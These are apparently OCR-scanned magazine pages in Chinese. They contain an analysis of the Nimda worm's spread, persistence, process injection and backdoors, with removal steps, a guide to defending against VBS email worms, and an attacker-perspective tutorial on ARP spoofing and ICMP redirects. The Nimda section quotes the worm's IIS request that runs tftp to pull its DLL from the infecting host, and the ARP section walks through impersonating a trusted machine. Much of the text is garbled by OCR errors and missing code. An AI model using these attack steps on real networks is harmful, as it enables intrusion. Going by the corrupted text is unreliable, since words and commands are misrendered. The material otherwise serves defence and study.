它 会 向 被 攻击 者 的 邮件 地 址 发 送 一 封 携带 了 蠕虫 附

件 的 邮件 。 这 个 邮件 由 两 部 分 MIME 类 型 的 信息 组

成 。 第 一 部 分 的 MIME 类 型 为 ”text/html”, 但 却 没有

包含 文本 , 因此 看 起 来 是 空 的 。 第 二 部 分 的 MIME 类

型 为 ”audio/x -wav”, 但 它 实际 上 携带 的 是 一 个 名

为 ”readme. exe” 的 base64 编码 的 可 执行 附件 。

利用 了 "微软 下 异常 处 理 MIME 头 漏洞 ”安全 漏

洞 , 任何 运行 在 x86 平台 下 并 且 使 用 微软 下 5.5 SP1

或 之 前 版 本 (本 5. 01 SP2 除外 ) 来 显示 HTML 邮件 的

邮件 客户 端 软件 , 都 将 自动 执行 邮件 附件 。 用 户 甚至

只 需 打开 或 预览 邮件 即 可 使 旺 虫 被 执行 。

那么 蠕虫 是 从 哪里 获得 要 攻击 的 目标 邮件 的 地

址 的 呢 ? 它 会 在 Ptermet 临时 文件 夹 中 读 取 所 有 htm

和 html 文件 , 并 在 这 些 文件 中 搜索 看 起 来 象 邮 件 地

址 的 字符 串 , 然后 向 这 些 地 址 发 送 一 份 包含 蠕 虫 程序

的 邮件 。 尼 姆 达 ? 蜂 虫 在 Windows 注册 表 中 记录 最 后

一 批 邮 件 发 送 的 时 间 , 然 后 每 10 天 重复 搜索 邮件 地

址 并 发 送 蠕虫 邮件 的 过 程 。

2. 通过 HS 漏洞 进 行 传播

如 果 “ 尼 姆 达 ” 只 能 通过 email 进行 传播 的 话 , 它

是 很 难 对 互连网 上 的 大 量具 有 固定 耳 的 服务 器 的 感

当 。 然 而 这 个 蠕虫 的 高 明之 处 就 在 于 , 它 的 传播 目标

不 仅仅 是 使 用 电子 邮件 的 普通 用 户 , 而 且 还 有 运行 工

了 的 Windows 服务 器 。

“ 尼 姆 达 ” 的 运行 程序 会 产生 一 个 随机 卫 地 址 ,

它 对 卫 地 址 的 选择 显然 是 受到 了 “红色 代码 I" 的 启

发 , 攻击 的 下 地 址 中 , 有 50% 的 几率 在 与 本 地 卫 地

址 的 B 类 网 络 中 ;25% 的 几率 , 在 与 本 地 IP 地 址 的 A

类 网 络 中 ;25% 的 几率 ,随机 选择 瑟 地 址 。

然后 “ 尼 姆 达 ” 会 启动 一 个 tftip 服务 器 , 监 听 在

udp/69 端口 。 一 且 发 现 受 影响 的 主机 ,蠕虫 会 通过 在

目标 主机 上 执行 太 p 命令 来 进行 自身 的 复制 传播 。 这

点 显然 是 受到 了 “ 蓝 色 代码 ”的 启发 。

在 开启 记 p 服务 器 和 确定 攻击 卫 地 址 之 后 ,“ 尼

姆 达 ” 就 开始 对 这 个 下 地 址 进行 扫描 , 它 首先 扫描

“红色 代码 开 留 下 的 后 门 ,我 们 知道 ,被 “红色 代码 工

IT” 攻击 过 的 系统 中 的 双 eb 虚拟 目录 中 会 留 下 一 个 名

为 root. exe 的 后 门 程序 。“ 尼 姆 达 ” 就 首先 扫描 “/

scripts/root. exe”, 如 果 这 个 程序 存在 的 话 ,“ 尼 姆 达 ”

蠕虫 就 企图 通过 它 在 系统 上 执行 命令 。

它 首 先 执 行 类 似 下 列 命令 来 向 其 发 送 蠕虫 代码 :

CET /scripts/root. exe? /ce +ttp + -i+localip +

CET + Admin. dll HITPZ1.0

其 中 localip 是 本 主机 的 卫 地 址 , 这 样 就 通过 tftp

协议 将 本 地 的 Admin. dl 文件 传播 过 去 了 , 而 这 个

Admin. dl 实际 上 就 是 蠕虫 代码 本 身 , 只 不 过 它 在 这

里 是 以 DLL 文件 的 形式 存在 。 这 样 做 的 目的 ,就 像 前

面 所 讲述 的 那样 是 为 了 利用 IIS 的 系统 文件 列表 权限

提升 漏洞 来 提升 蠕虫 运行 的 权限 。

在 将 Admin. dl 上 传 到 目标 主机 上 之 后 , 蜂 虫 就

会 通过 发 送 GET /scripts/Admin. dll HTTP7Z1. 0 请 求

来 运行 蠕虫 。 如 上 所 述 , 这 样 蠕虫 是 以 系统 最 高 权限

来 运行 的 。

如 果 在 扫描/seriptsyroot. exe 时 没有 成 功 , 即 目

标 机 中 没有 “红色 代码 开 " 留 下 的 后 门 程序 , 那么 “ 尼

姆 达 ” 蠕 虫 程序 会 继续 扫描 目标 上 的 Unicode 漏洞 以

及 二 次 解码 漏洞 , 以 期 通过 这 两 个 漏洞 在 系统 上 执行

命令 ,如 果 发 现 其 中 某 一 个 漏洞 ,蠕虫 就 会 重复 利用 /

scripts/root. exe 所 发 送 的 tp 命令 来 上 传 Admin. dl ,

然后 运行 。

Adinin. dll 作为 ISAPI 程序 运行 后 ,会 把 自身 拷贝

到 Windows 系统 文件 夹 命名 为 mmec. exe, 然后 以 带 参

数 方 式 运行 “mmc. exe - qusery9bnow”。 这样 就 完成 了

通过 I8 进行 传播 的 过 程 。

3. 通过 网 页 进行 传播

对 于 受 感染 的 鸡 WW 服务 器 ,“ 尼 姆 达 ” 会 修改 其

上 的 WWW 网 页 文件 , 使 得 浏览 该 网 站 的 用 户 受 其 感

染 。 当 蜂 虫 是 通过 Admin. dll 运行 时 , 蜂 虫 生成 的 新 程

序 (mme. exe) 会 在 整个 硬盘 中 搜索 后 组 为 : . HTML、

.ASP、. HIM, 文件 名 为 : DEFAULT、INDEX、MAIN 、

README 的 文件 。 一 旦 发 现 了 这 样 的 文件 ,蠕虫 会 在

该 目录 下 创建 一 个 README. EML 文件 , 它 是 一 个 由

两 部 分 组 成 的 MIME 编码 的 文件 , 里 面 也 包含 了 蠕虫

拷贝 。 然 后 蠕虫 会 在 找到 的 文件 的 末尾 增加 如 下

JavaScript 代码 :

这 样 , 其 他 用 户 如 果 使 用 浏览 器 浏览 被 修改 的 网

页 或 者 资源 管理 (打开 了 预览 功能 ) 来 浏览 共享 服务

器 上 的 README. EML 文件 时 ,利用 下 浏览 器 异常 处

理 MIME 头 漏洞 , 蜂 虫 就 可 以 传播 到 新 的 客户 端 上 。

4. 通过 修改 exe 文件 进行 传播

前 面 三 种 传播 方式 都 是 通过 网 络 方式 进行 的 , 也

是 “ 尼 姆 达 ” 最 常用 的 传染 方式 ,但 是 这 个 狭 独 的 蜂 虫

对 仅仅 通过 网 络 传播 还 不 满意 , 它 还 要 像 普通 的 病毒

那样 通过 文件 来 进行 传播 。“ 尼 姆 达 ”" 蠕 虫 首先 选择 感

染 exe 文件 , 这 样 当 通过 软盘 或 局 域 网 进行 文件 复制

时 ,就 会 把 蠕虫 程序 传播 在 其 他 的 机 器 上 面 。

感染 exe 文件 的 具体 做 法 是 , 首先 查找 注册 表 中

HKEY LOCAL MACHINE\SOFTWARE \Microsoft\Win-

dows \CurrentVersion \App Paths 键 的 内 容 , 这 个 键 值 存

放 了 主机 上 的 可 执行 文件 名 字 , 一 旦 找到 ,“ 尼 姆 达 ”

就 会 以 病毒 的 方式 感染 这 些 文件 。 它 把 原来 的 exe 文

件 作为 资源 存储 在 新 的 exe 文件 当中 , 这 样 当 运行 新

的 exe 文件 时 首先 执行 蠕虫 程序 ,然后 再 调用 原来 的

exe 文件 来 执行 , 这 样 对 于 用 户 来 说 感觉 上 只 是 执行

了 原来 的 exe 文件 。 还 有 一 点 ,“ 尼 姆 达 " 如 果 发 现 exe

文件 名 为 winzip32. exe, 则 不 进行 感染 。 这 样 做 可 能 是

为 了 避免 重要 程序 WinZip 无 法 运行 导致 系统 崩溃

吧 。

S$., 通过 Word 文档 进行 传播

因为 修改 exe 文件 容易 被 杀毒 软件 检测 到 , 所 以

“ 尼 姆 达 ” 还 通过 替换 Word 程序 的 一 个 动态 连接 库 文

件 来 达到 传播 的 目的 。

蠕虫 程序 首先 把 自身 复制 到 Windows 目录 中 命

名 为 riched20. dl。 然 后 它 会 搜索 本 地 的 共享 目录 中

包含 doc 文件 的 目录 , 一 但 找到 , 就 会 把 自身 复制 到

目录 中 命名 为 riched20. dl, 并 将 文件 属性 设置 为 隐

藏 和 系统 属性 。 由 于 Windows Word 在 打开 该 doc 文件

时 ,会 首先 在 当前 目录 寻找 riched20. dll 并 加 载 , 这 样

就 会 运行 到 蠕虫 代码 了 。 通 过 这 种 方法 , 将 使 局 域 网

中 所 有 设置 共享 目录 的 机 器 遭 到 感染 。

不 仅 如 此 , 蜂 虫 还 用 找到 的 文档 文件 的 名 字 加 上

. eml 后 缀 来 创建 新 文件 ,这 些 文件 也 是 带 有 蠕虫 拷贝

的 MIME 编码 的 文件 。 这 样 会 使 得 系统 中 出 现 大 量

.em 文件 。

SEN

“ 尼 姆 达 的 驻 留 方式

“ 尼 姆 达 ” 蜂 虫 会 将 自身 拷贝 到 双 indows\ System

目录 中 ,, 命名 为 load. exe, 并 修改 SYSTEM. INI 文 件 ,

将 Shell 部 分 改 为 如 下 内 容 :

这 样 每 次 系统 启动 时 都 会 运行 蠕虫 程序 。 而 且

它 会 用 自身 拷贝 蔡 换 Windows 目录 下 的 zched20. dll.

这 样 下 次 执行 word 时 会 自动 执行 这 个 蠕虫 。

如 果 蠕 虫 是 以 readme. exe 文件 名 被 执行 的 , 它 还

会 将 自身 拷贝 到 Windows 临时 目录 中 , 并 保存 为 随机

文件 名 。

为 了 防止 蠕虫 进程 出 现在 任务 管理 器 中 而 被 用

户 查 杀 , 尼 姆 达 " 在 每 次 执行 时 会 寻找 explorer 进程 ,

并 使 用 一 种 名 为 远程 线程 的 技术 , 将 自己 的 进程 注册

为 explorer 进程 的 一 个 远程 线程 。 这 样 即使 用 户 退 出

系统 ,蠕虫 仍然 可 以 继续 执行 , 而 且 仅仅 在 任务 管理

器 中 杀 掉 名 为 readme. exe 和 mmc. exe 进程 是 无 法 杀

掉 电 虫 的 ,因为 蠕虫 还 隐藏 在 explorer 的 线程 中 。 这 部

分 内 容 使 用 了 比较 高 超 的 编程 技术 , 我 们 通过 反 汇 编

的 代码 来 看 看 它 具 体 是 如 何 实现 的 。

蠕虫 程序 首先 通过 调用 GetProcAddress( ) 来 获取

CreateRemoteThread 这 个 API 的 地 址 。

然后 调用 OpenProcess() 来 打开 explorer. exe 进

程 , 把 句柄 保存 在 edi 寄存 器 中 , 这 里 使 用 的 dwDe-

siredAccess 为 0x1FOFTFTF , 即

丹 虫 通 过 调用 VirtualFreeEx() 来 在 explorer. exe

进程 中 释放 一 定数 量 的 虚拟 内 存 空间 , 以 便 将 蠕虫 线

程 插入 其 中 。

紧 接 着 蠕虫 调用 VirtualQueryEx() 来 得 到 explor-

er. exe 进程 中 虚拟 地 址 空间 的 信息 。 然 后 蠕虫 又 会 调

用 VirtualFreeEx() 来 在 explorer. exe 进程 中 释放 一 年

数量 的 虚拟 内 存 空间 。

用 VirtualAllocEx() 来 在 expjlorer 进程 的 内 存 地 址 空间

分 配 蠕虫 文件 名 的 缓冲 区 。

然后 蠕虫 程序 调用 WriteProcessMemory() 函数 将

蠕虫 文件 的 路 径 名 复制 到 explorer 进程 的 内 存 空 间 ,

以 便 可 以 在 explorer 进程 空间 中 访问 到 这 个 文件 名 。

接 下 来 又 经 过 一 系列 操作 之 后 , 蠕 虫 通过 调用

CreateRemoteThread() 来 在 远程 explorer 进程 中 捅 人

一 个 蠕虫 线程 , 这 样 蠕虫 承 作 为 explorer, exe 进程 的

一 部 分 来 运行 了 。

“ 尼 姆 达 留 下 的 系统 后 门

和 “红色 代码 正 一样 , 尼 姆 达 " 也 会 在 被 人 侵 的

系统 当中 留 下 几 个 后 门 , 使 得 黑客 可 以 轻松 访问 被 里

虫 感染 的 系统 。

“ 尼 姆 达 “蠕虫 会 将 所 有 驱动 器 设置 成 共享 状态 ,

它 会 编辑 如 下 注册 表 项 :

蠕虫 会 删除 下 列 注 册 表 项 的 所 有 子 键 以 禁止 共

调整 Hidden、ShowSuperHidden 和 HideFilegxt 键

值 , 使 得 使 用 资源 管理 器 无 法 显示 隐藏 文件 , 这 可 以

保护 蠕虫 代码 免 于 被 发 现 。

“ 尼 姆 达 ” 蠕虫 还 激活 了 Guest 用 户 , 将 其 密码 设

置 为 空 ,并 将 其 加 入 到 Administrators 组 中 (对 于 Win-

dows NT/Z2000/XP 用 户 )。 它 是 通过 执行 下 列 命令 来

这 项 任务 的 :

最 后 ,“ 尼 姆 达 ” 蠕 虫 通过 执行 下 列 命 令 , 将 C:、

设置 为 完全 共享 :

预防 和 清除" 尼 姆 达 蟾

现在 “ 尼 姆 达 ” 的 传播 速度 异常 快速 ,对 于 还 没有

被 它 感 染 的 用 户 来 说 应 该 尽快 安装 微软 公司 提供 的

漏洞 补丁 。 首先 应 该 将 正 浏 览 器 升级 为 下 6.0 以 上

版 本 ,或 者 为 低 版 本 的 下 浏览 器 安装 补丁 :

外 INICR

对 于 开启 IS 服务 的 Windows 系统 来 说 , 应 该 尽

快 安装 微软 最 新 的 IS 安全 漏洞 补丁 合集 。

对 于 已 经

该 尽快 采取 措施 清除 蠕虫 。 由 于 蠕虫 修改 和 替换 了 大

量 的 系统 文件 , 因此 手工 清除 可 能 比较 繁琐 而 且 不 易

清除 干净 。 建 议 用 户 使 用 最 新 版 本 的 反 病 毒 厂 商 的 杀

毒 软件 来 进行 清除 工作 。 目 前 各 大 反 病 毒 厂 商都 已 经

可 以 查 杀 这 种 蠕虫 病毒 。 您 可 能 需要 多 次 运行 杀毒 软

对唱 到“ 尼 姆 达 ” 蜂 虫 感染 的 用 户 来 说 ,应

件 或 清除 程序 ,以 确保 彻底 杀 掉 受 感染 的 文件 。

如果 没有 杀毒 软件 , 也 可 以 使 用 手工 清除 , 具体

清除 步骤 如 下 , 在 进行 清除 之 前 , 应 该 首先 在 文件 来

选项 里 设置 “显示 所 有 文件 ”:

1. 删除 系统 中 mmc. exe、load. exe、riched20. dU、

admin. dj、readme. eml、 readme. exe 等 上 所 有 烯 虫 文件 。

2. 从 原始 安装 盘 中 提取 riched20. dl 覆盖 win-

dows 系统 文件 夹 里 的 同名 蠕虫 文件 。

Win98, 在 压缩 包 Win98 35. CAB 中 , 解 开 找到

riched20. 4 拷贝 到 system 目录 。

Win98se: 在 压缩 包 Win98_41. CAB 中 。

Win2000: 在 system32\dllcache 目录 有 备份 ,将 它

拷贝 到 system32 目录 。

或 者 也 可 以 从 其 它 未 感染 过 病毒 的 机 器 拷贝 这

些 文件 。

3. 查找 工具 ,搜索 包含 “fsdhqherwqi2001” 的 . exe

和 . dll 文件 , 以 及 包含 “Kz29vb29oWsrLPh4eisrPb09

Pb22” 的 .eml 和 . nws 文件 。

4. 检查 所 有 文件 名 中 包含 default、index、main、

readme 并 且 扩展 名 为 htm html、asp 的 文件 ,将 其 中 打

开 蠕 虫 程序 的 JavaSeript 程序 删除 。 (下 转 第 213 页 )

5

芒 济

|

YX

<

以 导

随 着 计算 机 的 发 展 , 病 毒 的 种 类 也 在 不 停 地 翻

新 , 近 一 年 来 网 络 蠕虫 病毒 气焰 最 是 器 张 , 臭名 昭著

的 爱 虫 欢乐 时 光 等 病毒 就 是 其 中 之 一 。 这 些 蠕 虫 病

毒 不 管 在 传播 途径 、 感 染 机 制 、 破 坏 方式 等 与 传统 的

病毒 都 有 一 定 的 不 同 , 因此 防范 方法 也 较 之 以 往 有 所

不 同 。 还 是 让 我 们 来 看 一 个 具体 的 实例 吧 。 近 日 收 信

时 偶然 发 现 了 一 个 不 寻常 的 邮件 , 竟 然 是 163 网 管

(root@ 163. net) 给 我 寄 来 的 。 里 面 说 163 的 免费 电子

邮箱 要 收费 了 , 要 我 马上 申请 注册 。 由 于 我 根本 没有

163 的 邮箱 , 所 以 党 得 非常 奇怪 , 再 仔细 看 看 , 信里 带

一 个 名 称 为 Table. htm. vbs 的 附件 , 看 来 八成 是 一 个

VBS 病毒 ,赶快 另存 为 文本 文件 ,研究 了 一 番 , 结 果 表

明 果 然 是 一 个 Visual Baise Script 编写 的 邮件 病毒 , 而

且 手 段 毒 藻 , 大 有 将 我 的 硬盘 彻底 洗 荡 的 企图 。 下 面

是 源 代 码 加 了 注释 :

小 编 寡 请 :ptArTisr 最 近 总 收 到 一 些 怪 怪 的 邮件 ,

邮件 里 还 有 一 个 怪 怪 的 附件 , 乍 看 上 去 好 像 是 .bt 或

.html 文件 ,无 害 的 样子 , 可 是 本 小 编 虽 然 不 算 聪 明 , 但 还

是 知道 那 是 蠕虫 病毒 。 本 来 一 直 以 为 这 类 邮件 病毒 发 作

只 是 拼命 复制 自己 ,然后 造成 网 络 载 塞 , 但 看 过 这 位 杨 兄

的 文章 后 ,只 能 感叹 大 开眼 界 。

人 一 文 / 杨 慧 超

/

0

信 多

0

2

上 阳

我 用 Kv3000 查 了 一 下 , 毫 无 反应 ;用 软盘 拷 到 同

学 那里 , 刚 往 硬盘 上 一 拷 ,Norton AntiVirus 就 报警 发

现 未 知 邮件 病毒 。 看 来 Norton 的 查 未 知 病毒 的 功能 还

是 可 以 令 人 放心 的 ,建议 有 Norton 的 朋友 赶紧 升级 病

毒 库 ;没有 Norton 的 朋友 可 以 用 下 面 所 说 的 方法 来 防

范 :

Jessica Worm 属于 网 络 蠕虫 病毒 , 由 于 电 虫 病毒

大 多 是 用 VBScript 脚本 语言 编写 的 , 而 VBScript 代码

是 通过 Windows Script Host 来 解释 执行 的 , 因 此 将

Windows Script Host 删除 , 就 再 也 不 用 担心 这 些 用

VBS 和 了 编写 的 病毒 了 ! 从 另 一 个 角度 来 说 ,Win-

dows Seript Host 本 来 是 被 系统 管理 员 用 来 配置 桌面

环境 和 系统 服务 ,实现 最 小 化 管理 的 一 个 手段 , 但 对

于 大 部 分 一 般 用 户 而 言 , WSH 并 没有 多 大 用 处 , 所 以

我 们 可 以 禁止 使 用 它 。 另 外 ,禁止 VBSeript(JScript) 文

件 执 行 也 是 可 行 的 办 法 之 一 。 防 范 VBS 蠕虫 病毒 可

以 使 用 以 下 几 种 方法 :

方法 一 :

在 Windows98 中 (NT4. 0 以 上 同 理 ), 打开 “控制

面板 ”, 打开 添加 /删除 程序 ”, 点 选 "Windows 安装 程

序 ”, 再 鼠标 双击 其 中 的 “附件 "一 项 ,然后 再 在 打开 的

窗口 中 将 “Windows Scripting Host” 一 项 的 “对 多 ”去

掉 , 然后 点 “确定 ”, 再 点 “确定 ”, 这 样 就 可 以 将 Win-

dows Scripting Host 仓 载 。

方法 二 :

1. 点 击 “ 我 的 电脑 ”一 “查看 ”一 “文件 夹 选项 ”,

在 弹出 的 对 话 框 中 ,点 击 “ 文 件 类 型 ,然后 删除 VBS、

VBE、JS、JSE 文件 后 级 名 与 应 用 程序 的 映射 。

2. 在 Windows 目录 中 , 找 到 双 Seript. exe 和

JScript. exe ,更改 其 名 称 或 者 干脆 删除 。

方法 三 :

1. 原理 : 大 多 数 利 用 VBscript 编写 的 病毒 ,自我

复制 的 原理 基本 上 是 利用 程序 将 本 身 的 脚本 内 容 复

制 一 份 到 一 个 临时 文件 , 然后 再 在 传播 的 环节 将 其 作

为 附件 发 送出 去 。 为 讲解 方便 , 我 们 先 来 看 个 小 例

子 。

假设 有 内 容 如 下 的 类. vbs 文件 :

就 是 这 么 两 行 就 可 以 拷贝 文件 到 指定 地 点 。

第 一 行 是 创建 一 个 文件 系统 对 象 ; 第 二 行 前 面 是 打开

这 个 脚本 文件 , ec:\windows\ winipcfg. exe 指明 是 这 个

程序 本 身 , 是 一 个 完整 的 路 径 文件 名 。GetFile 函数 获

得 这 个 文件 ,Copy 函数 将 这 个 文件 复制 到 e 盘 根 目录

下 。 这 也 是 大 多 数 利 用 VBseript 编写 的 病毒 的 一 个 特

点 。 从 这 里 可 以 看 出 上 面 这 些 功能 的 实现 离 不 开

“FileSystemObject” 这 个 对 象 , 因 此 禁止 了

“FileSystemObject” 就 可 以 有 效 地 控制 VBS 病毒 的 传

播 。

2. 具体 操作 方法 : 用 regsvr32 scrrmn. dl 癌 这 条

命令 就 可 以 禁止 文件 系统 对 象 。 其 中 regsvr32 是

Windows \system 下 的 可 执行 文件 regsvr32. exe。

方法 四 :防止 病毒 发 作 后 “传播 ”

1. 禁止 Outlook 的 自动 收发 邮件 功能

当 禁 止 了 邮件 的 自动 收发 功能 后 , 只 有 在 按 下

“接收 /传送 ”按钮 时 , OE 才 开 始 接收 或 者 发 送 邮件 ,

这 就 避免 了 邮件 的 自动 发 送 。 虽 然 此 项 设置 只 对 一 部

分 卫 - mail 病毒 有 效 , 但 毕竟 在 一 定 程度 上 避免 了

E - mail 病毒 的 扩散 。

(1)Outlook 的 设置 方法

选择 “工具 "一 "选项 "一 选择 "发送 ”选项 卡 ,取消

“立即 发 送 邮件 (I) "选项 。

选择 “常规 "选项 卡 , 取消 “启动 时 发 送 和 接收 邮

件 (S$) ”选项 和 “每 (C) XX 分 钟 检查 一 次 新 邮件 ” 选

项 。

(2)Outlook 2000 的 设置 方法

选择 “工具 "一 “选项 "一 选择 “邮件 发 送 ”选项 卡 ,

取消 “ 连 线 时 立即 发 送 邮件 ”选项 , 并 取消 “自动 检查

新 邮件 ”功能 。

注意 , 关闭 了 自动 检查 邮件 功能 后 ,你 可 能 会 感

到 有 些 麻烦 。

2 通讯 筹 "里 不 要 设置 太 多 的 名 单

如 果 要 发 送 新 邮件 , 可 以 进入 邮件 的 储存 目录 ,

打开 客户 发 来 的 邮件 ,利用 “回复 ”功能 来 发 送 新 邮件

(删除 原 有 内 容 即 可 ) 如 果 客 户 或 朋友 较 多 ,利用 回复

SENUIGR

不 方便 ,可 以 新 建 一 个 文本 文件 (自己 做 好 备份 ,记得

路 径 及 名 称 ) ,把 客户 的 邮件 地 址 一 一 列 人 其 中 , 要 发

新 邮件 的 时 候 ,利用 CTRL + C,,CTRL +YV 把 客户 邮件

地 址 粘贴 到 “ 收 件 人 ” 栏 中 去 , 这 样 虽然 麻烦 一 点 ,但 ,

是 有 效 地 防止 了 邮件 病毒 的 进一步 传播 , 须知 现在 的

邮件 病毒 变种 更 新 既 多 又 快 , 防 杀 难 免 有 漏洞 , 病毒

一 发 作 ,就 自动 复制 无 数 拷贝 发 送 到 “通讯 舌 " 里 所 有

的 用 户 。 用 此 法 可 以 避免 病毒 的 扩散 , 特别 是 有 商业

关系 的 客户 不 会 因此 受到 牵连 , 发 生 误会 从 而 影响 合

3. 由 于 该 蠕虫 病毒 利用 文件 扩展 名 做 文章 , 所

以 要 防范 它 就 不 要 隐藏 系统 中 已 知 文件 类 型 的 扩展

名 。Windows 操作 系统 默认 的 是 “隐藏 已 知 文件 类 型

的 扩展 名 称 "”。 显 示 所 有 文件 类 型 的 扩展 名 称 的 方法

是 (以 Windows98 系统 为 例 ) : 选择 “控制 面板 ”一 “ 查

看 "一 "文件 夹 选项 "一 “查看 "一 “文件 和 文件 夹 ”, 其

中 有 一 项 目 是 “ 隐 含 已 知 文件 类 型 的 扩展 名 ”, 不 选择

该 项 目 即 可 。 当然 Windows 系统 下 对 于 一 些 特别 的 文

件 的 扩展 名 , 比 如 “垃圾 虫 SecrapWorm” 利 用 的 是

“SHS" 扩 展 名 称 , 具 有 该 扩展 名 称 的 文件 ,即使 用 户 使

用 了 以 上 的 方法 还 是 不 能 显示 出 其 扩展 名 称 。 解 决 的

方法 还 是 最 好 使 用 杀毒 软件 的 查 杀 病 毒 或 实时 监测

功能 来 预防 类 似 的 病毒 的 侵害 。

4. 将 系统 的 网 络 连接 安全 级 别 设 置 至 少 为 “中

等 ", 它 可 以 在 一 定 程 度 上 预防 某 些 有 害 的 JAVA 程

序 或 者 某 些 ActiveX 组 件 对 计算 机 的 侵害 。“ 控 制 面

板 ” 中 的 “Intemet” 项 目 中 有 “安全 ”标签 , 会 出 现

“Intermet” 项 的 安全 级 别 设置 窗口 , 将 其 至 少 设置 成

“中 等 ”级别 。

35. 如果 可 能 , 尽 量 不 要 使 用 Outlook 收发 邮件 ;

要 注意 为 浏览 器 打上 最 新 的 补丁 ; 对 于 通过 脚本 “ 工

作 ” 的 病毒 ,可 以 采用 在 浏览 器 中 禁止 Java 或 ActiveX

运行 的 方法 来 阻止 病毒 的 发 作 。

6. 除 此 以 外 , 要 保证 系统 的 安全 , 还 要 在 自己 的

电脑 中 安装 实时 病毒 防火 墙 软件 , 专业 的 防火 墙 软件

能 够 保障 电脑 不 受 病 毒 的 侵害 。 所 谓 "“ 魔 高 一 尺 , 道 高

一 丈 ” ,尽管 新 病毒 层出不穷 ,但 反 病 毒 软件 也 在 不 断

升级 更 新 。 安 装 实时 病毒 防火 墙 软件 有 百 利 而 无 一

害 , 还 是 装 一 个 吧 。

只 要 用 了 以 上 的 方法 , 作为 个 人 用 户 就 可 以 有 效

地 防范 网 络 蠕虫 病毒 ,您 还 是 快 点 试 试 吧 。 侍

加 RS

SN

SSERSEREIRS

一 信人

一 \ 人 ARP 欺 怠

ARP 欺骗 往往 应 用 于 一 个 内 部 网 络 ,我 们 可 以 用

它 来 扩大 一 个 已 经 存在 的 网 络 安全 漏洞 .假如 你 已 经

攻陷 了 一 个 子 网 内 的 机 器 , 其 它 的 机 器 安全 也 将 受到

ARP 欺骗 的 威胁 。

让 我 们 假设 如 下 的 网 络 结构

hostname 让 hw

A 192. 168. 10. 1 MAC_A

B 192. 168. 10. 2 MAC_B

C 192. 168. 10. 3 MAC_C

所 有 的 主机 在 一 个 子 网 内 。 假 设 你 是 A, 你 具有

root 权限 ,你 的 目标 是 侵入 C。 通 过 种 种 手段 你 可 以 知

道 C 信任 B, 所 以 如 果 你 能 伪装 成 B ,那么 你 就 能 “ 合

法 "访问 C 了 。

这 里 用 到 一 个 攻击 程序 一 send_arp. e, 一 个 非常

有 效 的 工具 。 他 的 作用 是 向 网 络 上 发 送 一 个 ARP 包

(ARP 回答 , 准确 地 说 : 由 于 这 个 协议 是 无 状态 的 , 即

使 在 没有 请 求 的 时 候 也 可 以 做 出 应 答 。 请 求 同 应 答 是

一 样 的 )。 你 可 以 把 这 个 包 定 制 成 你 想 要 的 样子 。 比 如

设 定 arp 包 的 目的 地 址 、 源 地 址 .MAC 地 址 等 。

当 你 进行 ARP 欺骗 的 时 候 , 如 果 你 不 希望 A 的

网 卡 对 外 发 送 arp 请 求 , 那 么 你 可 以 用 “ifconfig eth0

- arp” 关 掉 他 的 ARP 协议 。 你 希望 C 认为 B 的 硬件

地 址 是 MAC A, 所 以 你 发 送 一 个 ARP 应 答 , 它 的 源 地

址 是 192. 168. 10. 2 , 源 硬 件 地 址 是 MAC_A, 目标 地 址

是 10.0.0.3 和 目标 硬件 地 址 是 MACC。 现 在 ,C 完全

相信 B 的 硬件 地 址 是 MAC_A。 当然 C 中 缓存 会 过 期 ,

所 以 它 会 重新 发 送 请 求 。 多 长 时 间 发 出 请 求 , 各 个 操

作 系 统 不 同 ,但 是 大 多 来 说 是 40 秒 钟 左右 。 经 常 主动

发 送 ARP 应 答 , 可 以 有 效 保持 我 们 替 他 制定 的 ARP

缓存 (具体 说 明 可 以 参看 双 . Richarq. Stevens 的 tcp/ 记

详解 卷 一 )。 这 样 做 的 作用 是 针对 各 个 ARP 缓存 处 理

方法 的 不 同 会 带 来 问题 的 复杂 性 。 一 些 操 作 系统 ( 例

如 Linux) 会 用 向 缓存 地 址 发 非 广播 的 ARP 请 求 来 要

求 更 新 缓存 。 这 种 缓存 更 新 会 给 你 增加 麻烦 , 会 使 你

刚刚 鞭 C 制定 的 ARP 缓存 被 更 改 掉 , 所 以 必须 避免

此 事 发 生 。 经 常 地 向 C 发 出 应 答 数据 ,这 样 它 就 不 会

发 出 请 求 。 对 于 了 来 说 , 它 根 本 就 没有 机 会 来 改变 这

一 切 。

所 以 过 程 是 简单 的 。 首 先 来 设置 网 络 接口 别名

(ifconfig eth0: 1 10. 0.0.2) ,添加 B 的 卫 地 址 并 且 打

开 ARP 协议 〈ifeonfig eth0 arp) 你 需要 设置 你 的

ARP 缓存 , 当 没 有 ARP 时 , 它 不 会 工作 。 然 后 在 正确

的 网 络 接口 上 设置 到 C 的 路 由 。 再 设置 C 的 ARP 组

存 。 最 后 , 关 掉 网 络 接口 的 ARP 功能 。 这 样 一 切 就 OK

了 。 现 在 , 当 你 用 send_arp 把 你 定制 的 arp 包 发 送出 去

后 ,那么 ,C 就 会 认为 ,你 就 是 B。 一 定 要 记 住 , 要 持续

不 断 地 向 C 和 了 发 出 ARP 包 。 这 种 攻击 方式 就 仅仅

工作 在 局 域 网 肉 。 在 上 述 试验 中 C 如 果 是 路 由 咀 , 那

么 我 们 需要 注意 的 问题 是 , 大 部 分 的 路 由 是 采用 stat-

ic (静态 )arp 缓存 的 ,那么 就 无 法 实现 我 们 的 设想 了 ,

但 如 果 是 dynamic( 动 态 ) 的 , 你 可 以 轻易 地 冒充 这 个

局 域 网 内 的 机 器 去 敬 骗 这 个 路 由 以 外 的 系统 了 , 甚至

包括 整个 internet , 此 时 路 由 器 是 作为 子 网 的 arp 代

理工 作 的。 所 以 目标 可 以 是 任何 一 台 机 器 , 但 是 你 要

伪装 的 机 器 , 必须 是 这 个 局 域 网 内 的 , 还 有 关键 的 问

题 是 使 用 了 dynamic( 动 态 )arp 缓存 。 当 然 除 了 欺骗 以

外 , 你 还 可 以 用 ARP 作 很 多 事 , 比如 基于 arp 欺骗 的

man_in_ the middle 窃听 等 等 。 下 面 是 send_arp. ec 的 代

码 :

解决 方法 : 局 域 网 内 包括 路 由 器 使 用 静态

arp 缓存 ;

二 ICMP 重 定 阿

另外 一 个 比较 有 效 的 并 且 类 似 ARP 坎 骗 的 手段

是 利用 另外 一 个 正常 的 协议 一 ICMP 重 定向 。 这 种 重

定向 通常 是 由 你 的 默认 路 由 器 发 来 的 , 通告 你 有 一 个

到 达 某 一 网 络 的 更 近 的 路 由 。 最 初 , 既 可 以 通告 网 络

重 定向 ,也 可 以 通告 主机 的 重 定 向 ,但 是 现在 , 由 于 网

络 重 定向 被 否决 , 仅 剩 下 了 主机 重 定向 。 正 确 的 制作

